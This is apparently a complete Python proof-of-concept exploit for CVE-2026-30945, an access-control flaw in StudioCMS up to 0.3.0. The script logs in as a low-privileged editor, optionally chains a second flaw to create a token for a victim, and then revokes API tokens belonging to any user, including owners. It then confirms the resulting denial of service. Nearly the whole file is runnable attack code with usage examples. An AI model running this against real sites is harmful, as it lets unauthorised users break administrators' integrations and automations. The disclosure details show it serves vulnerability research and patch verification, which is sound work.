#!/usr/bin/env python3 """ CVE-2026-30945 - StudioCMS IDOR — Arbitrary API Token Revocation Leading to Denial of Service Author: Filipe Gaudard Date: 2026-03-10 Description: The DELETE /studiocms_api/dashboard/api-tokens endpoint allows any authenticated user with editor privileges or above to revoke API tokens belonging to any other user, including admin and owner accounts. The handler accepts tokenID and userID directly from the request payload without verifying token ownership, caller identity, or role hierarchy. This enables targeted denial of service against critical integrations and automations. Affected versions: studiocms <= 0.3.0 Fixed in: 0.4.0 References: - CVE: CVE-2026-30945 - CWE: CWE-639, CWE-863 - GHSA: GHSA-8rgj-vrfr-6hqr - CVSS: 7.1 (High) """ import argparse import json import sys from datetime import datetime try: import requests from colorama import Fore, Style, init init(autoreset=True) except ImportError: print("[!] Missing dependencies. Install with: pip install requests colorama") sys.exit(1) # ─── Constants ──────────────────────────────────────────────────────────────── BANNER = f""" {Fore.RED}╔══════════════════════════════════════════════════════════════════╗ ║ ║ ║ ██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██╗ ██╗███████╗ ║ ║ ██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗██║ ██║██╔════╝ ║ ║ ██║ ██║ ██║█████╗ ████╗█████╔╝██║██╔██║███████║███████╗ ║ ║ ██║ ╚██╗ ██╔╝██╔══╝ ╚═══╝╚═══██╗████╔╝██║╚════██║╚════██║ ║ ║ ╚██████╗ ╚████╔╝ ███████╗ ██████╔╝╚██████╔╝ ██║███████║ ║ ║ ╚═════╝ ╚═══╝ ╚══════╝ ╚═════╝ ╚═════╝ ╚═╝╚══════╝ ║ ║ ║ ║ StudioCMS IDOR — Arbitrary API Token Revocation (DoS) ║ ║ BOLA / IDOR — CWE-639 | CVSS 7.1 ║ ║ Author: Filipe Gaudard ║ ║ ║ ╚══════════════════════════════════════════════════════════════════╝{Style.RESET_ALL} """ ENDPOINTS = { "login": "/studiocms_api/auth/login", "api_tokens_create": "/studiocms_api/dashboard/api-tokens", "api_tokens_delete": "/studiocms_api/dashboard/api-tokens", "users": "/studiocms_api/rest/v1/users", "verify_session": "/studiocms_api/dashboard/verify-session", } # ─── Helper Functions ───────────────────────────────────────────────────────── def log_success(msg): print(f" {Fore.GREEN}[+]{Style.RESET_ALL} {msg}") def log_info(msg): print(f" {Fore.BLUE}[*]{Style.RESET_ALL} {msg}") def log_warning(msg): print(f" {Fore.YELLOW}[!]{Style.RESET_ALL} {msg}") def log_error(msg): print(f" {Fore.RED}[-]{Style.RESET_ALL} {msg}") def log_header(msg): print(f"\n {Fore.CYAN}{'─' * 60}") print(f" {msg}") print(f" {'─' * 60}{Style.RESET_ALL}") # ─── Core Functions ─────────────────────────────────────────────────────────── def authenticate(session, base_url, username, password, verify_ssl=True): """Authenticate to StudioCMS and return session with auth cookie.""" url = base_url + ENDPOINTS["login"] payload = {"username": username, "password": password} try: resp = session.post(url, json=payload, verify=verify_ssl, allow_redirects=False) if "auth_session" in session.cookies.get_dict(): log_success(f"Authenticated as '{username}'") return True if resp.status_code in (301, 302, 303): log_success(f"Authenticated as '{username}' (redirect)") return True log_error(f"Authentication failed for '{username}' (HTTP {resp.status_code})") return False except requests.exceptions.ConnectionError: log_error(f"Connection failed to {base_url}") return False def verify_session(session, base_url, verify_ssl=True): """Verify current session and return user info.""" url = base_url + ENDPOINTS["verify_session"] payload = {"originPathname": base_url + "/dashboard"} try: resp = session.post(url, json=payload, verify=verify_ssl) if resp.status_code == 200: data = resp.json() if data.get("isLoggedIn"): user = data.get("user", {}) level = data.get("permissionLevel", "unknown") return { "id": user.get("id"), "name": user.get("name"), "username": user.get("username"), "email": user.get("email"), "permissionLevel": level, } return None except Exception: return None def create_token_for_target(session, base_url, target_uuid, verify_ssl=True): """ Step 1 of the PoC chain: generate a token for the target user first. This leverages CVE-2026-30944 (token generation IDOR) to create the token that will then be revoked. If the target already has tokens, this step can be skipped by providing --token-id directly. """ url = base_url + ENDPOINTS["api_tokens_create"] payload = { "user": target_uuid, "description": "CVE-2026-30945-target-token", } try: resp = session.post(url, json=payload, verify=verify_ssl) if resp.status_code == 200: data = resp.json() token = data.get("token") if token: return token return None except Exception: return None def revoke_token(session, base_url, token_id, user_id, verify_ssl=True): """Exploit: Revoke an arbitrary user's API token (IDOR).""" url = base_url + ENDPOINTS["api_tokens_delete"] payload = { "tokenID": token_id, "userID": user_id, } try: resp = session.delete(url, json=payload, verify=verify_ssl) if resp.status_code == 200: data = resp.json() message = data.get("message", "") if "deleted" in message.lower(): return True, message return True, message elif resp.status_code == 403: return False, "Access denied (403 Forbidden) — endpoint may be patched" else: return False, f"Unexpected response: HTTP {resp.status_code} — {resp.text[:200]}" except requests.exceptions.ConnectionError: return False, f"Connection failed to {base_url}" def verify_token_revoked(base_url, token_jwt, verify_ssl=True): """Verify that the revoked token no longer grants API access.""" url = base_url + ENDPOINTS["users"] headers = {"Authorization": f"Bearer {token_jwt}"} try: resp = requests.get(url, headers=headers, verify=verify_ssl) if resp.status_code == 200: return False # Token still works — revocation failed elif resp.status_code in (401, 403): return True # Token rejected — revocation confirmed else: return None # Inconclusive except Exception: return None def save_results(data, filename): """Save exploitation results to JSON file.""" with open(filename, "w") as f: json.dump(data, f, indent=2, default=str) log_success(f"Results saved to {filename}") # ─── Exploitation Modes ────────────────────────────────────────────────────── def manual_exploit(args): """Manual exploitation: authenticate and revoke target's token.""" log_header("PHASE 1: Authentication") session = requests.Session() if not authenticate(session, args.url, args.username, args.password, args.verify_ssl): return user_info = verify_session(session, args.url, args.verify_ssl) if user_info: log_info(f"Session user: {user_info['name']} ({user_info['permissionLevel']})") log_info(f"Session UUID: {user_info['id']}") else: log_warning("Could not verify session details") # If no token-id provided, create one first via CVE-2026-30944 token_id = args.token_id token_jwt = None if not token_id: log_header("PHASE 2: Token Setup (via CVE-2026-30944)") log_info(f"No --token-id provided, creating a token for target user first...") log_info(f"Target UUID: {args.target_uuid}") token_jwt = create_token_for_target(session, args.url, args.target_uuid, args.verify_ssl) if token_jwt: log_success(f"Token created for target: {token_jwt[:50]}...") log_info("Verifying token works before revocation...") users = requests.get( args.url + ENDPOINTS["users"], headers={"Authorization": f"Bearer {token_jwt}"}, verify=args.verify_ssl, ) if users.status_code == 200: log_success("Token is valid — API access confirmed") else: log_warning(f"Token verification returned HTTP {users.status_code}") # We need the token record ID (UUID), not the JWT # The token_id is typically returned from the API or can be extracted log_warning("Note: To complete the revocation, you need the token record UUID (not the JWT)") log_info("Provide --token-id with the internal token UUID to proceed with revocation") log_info("The token record ID can be found in the database or via API enumeration") if args.save: results = { "cve": "CVE-2026-30945", "phase": "token_creation_only", "timestamp": datetime.now().isoformat(), "target": args.url, "attacker": user_info, "target_uuid": args.target_uuid, "token_jwt": token_jwt, } save_results(results, f"cve_2026_30945_{args.target_uuid[:8]}.json") return else: log_error("Could not create token for target — token generation may be patched") return # Proceed with revocation log_header("PHASE 3: Token Revocation (IDOR)") log_info(f"Target UUID: {args.target_uuid}") log_info(f"Token ID: {token_id}") log_info("Revoking target's API token...") success, message = revoke_token(session, args.url, token_id, args.target_uuid, args.verify_ssl) if success: log_success(f"Token revoked! Server response: {message}") # Verify revocation if we have the JWT if token_jwt: log_header("PHASE 4: Revocation Verification") log_info("Verifying token is no longer valid...") revoked = verify_token_revoked(args.url, token_jwt, args.verify_ssl) if revoked is True: log_success("VULNERABILITY CONFIRMED — Token successfully revoked!") log_warning("Target user's API integrations are now broken (DoS)") elif revoked is False: log_warning("Token still works — revocation may not have taken effect") else: log_info("Revocation verification inconclusive") else: log_warning("VULNERABILITY CONFIRMED — Server accepted the revocation request") log_info("Cannot verify token invalidation without the JWT value") else: log_error(f"Revocation failed: {message}") if args.save: results = { "cve": "CVE-2026-30945", "timestamp": datetime.now().isoformat(), "target": args.url, "attacker": user_info if user_info else {"username": args.username}, "target_uuid": args.target_uuid, "token_id": token_id, "revocation_success": success, "server_message": message, "vulnerable": success, } save_results(results, f"cve_2026_30945_{args.target_uuid[:8]}.json") def auto_test(args): """Automated testing: create token, then revoke it, verify DoS.""" log_header("AUTOMATED VULNERABILITY TEST") log_info(f"Target: {args.url}") log_info(f"Target UUID: {args.target_uuid}") if not args.token_id: log_error("Automated test requires --token-id (the internal UUID of the target's token)") log_info("Use manual mode first to create a token, then extract the token record UUID") return results = {} test_accounts = [] if args.editor_user and args.editor_pass: test_accounts.append(("Editor", args.editor_user, args.editor_pass)) if args.visitor_user and args.visitor_pass: test_accounts.append(("Visitor", args.visitor_user, args.visitor_pass)) if not test_accounts: log_error("No test accounts provided") return for role_label, username, password in test_accounts: log_header(f"Testing as {role_label}: {username}") session = requests.Session() if not authenticate(session, args.url, username, password, args.verify_ssl): results[role_label] = {"status": "auth_failed"} continue user_info = verify_session(session, args.url, args.verify_ssl) if user_info: log_info(f"Detected role: {user_info['permissionLevel']}") log_info(f"Attempting to revoke token {args.token_id} belonging to {args.target_uuid}...") success, message = revoke_token( session, args.url, args.token_id, args.target_uuid, args.verify_ssl ) if success: log_warning(f"VULNERABILITY CONFIRMED for role: {role_label}") log_warning(f"Server: {message}") results[role_label] = {"status": "vulnerable", "message": message} else: log_info(f"Revocation denied for {role_label}: {message}") results[role_label] = {"status": "not_vulnerable", "message": message} # Summary log_header("TEST SUMMARY") vulnerable = any(r.get("status") == "vulnerable" for r in results.values()) for role, result in results.items(): status = result.get("status", "unknown") if status == "vulnerable": log_warning(f"{role}: VULNERABLE — token revocation succeeded") elif status == "not_vulnerable": log_success(f"{role}: NOT VULNERABLE — revocation denied") elif status == "auth_failed": log_error(f"{role}: AUTHENTICATION FAILED") print() if vulnerable: log_warning("SYSTEM IS VULNERABLE TO CVE-2026-30945") else: log_success("SYSTEM APPEARS PATCHED") if args.save: save_results(results, "cve_2026_30945_autotest.json") # ─── Main ───────────────────────────────────────────────────────────────────── def parse_args(): parser = argparse.ArgumentParser( description="CVE-2026-30945 — StudioCMS IDOR Token Revocation DoS PoC", formatter_class=argparse.RawDescriptionHelpFormatter, epilog=""" Examples: # Revoke a known token (requires token record UUID) python3 %(prog)s -u http://localhost:4321 --username editor01 --password pass123 \\ --target-uuid --token-id # Create a token first, then revoke (chained with CVE-2026-30944) python3 %(prog)s -u http://localhost:4321 --username editor01 --password pass123 \\ --target-uuid # Automated testing python3 %(prog)s -u http://localhost:4321 --auto-test \\ --editor-user editor01 --editor-pass pass123 \\ --target-uuid --token-id """, ) parser.add_argument("-u", "--url", required=True, help="Target StudioCMS base URL") parser.add_argument("--target-uuid", required=True, help="Target user UUID (e.g., owner UUID)") parser.add_argument("--token-id", help="Internal token record UUID to revoke (not the JWT)") # Manual mode manual = parser.add_argument_group("Manual Mode") manual.add_argument("--username", help="Username for authentication") manual.add_argument("--password", help="Password for authentication") # Auto test mode auto = parser.add_argument_group("Automated Test Mode") auto.add_argument("--auto-test", action="store_true", help="Enable automated multi-role testing") auto.add_argument("--editor-user", help="Editor account username") auto.add_argument("--editor-pass", help="Editor account password") auto.add_argument("--visitor-user", help="Visitor account username") auto.add_argument("--visitor-pass", help="Visitor account password") # Optional parser.add_argument("--save", action="store_true", help="Save results to JSON file") parser.add_argument("--no-ssl-verify", action="store_true", help="Disable SSL certificate verification") return parser.parse_args() def main(): print(BANNER) args = parse_args() args.url = args.url.rstrip("/") args.verify_ssl = not args.no_ssl_verify if args.no_ssl_verify: import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) if args.auto_test: auto_test(args) elif args.username and args.password: manual_exploit(args) else: log_error("Provide --username/--password for manual mode or --auto-test for automated testing") sys.exit(1) if __name__ == "__main__": main()